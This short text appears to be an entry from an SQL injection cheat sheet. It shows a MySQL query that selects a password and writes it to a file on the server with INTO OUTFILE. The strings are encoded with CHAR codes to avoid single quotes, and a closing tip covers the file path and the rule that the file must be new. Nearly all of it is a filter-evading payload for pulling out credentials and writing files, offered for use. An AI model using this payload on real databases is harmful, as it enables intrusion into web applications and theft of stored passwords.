Writing info into files without single quotes: (example)

SELECT password FROM tablename WHERE username =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR( 105),CHAR(110),CHAR( 39)) INTO
OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR( 105),CHAR(110),CHAR(
39))

Note: You must specify a new file, it may not exist! and give the correct
pathname!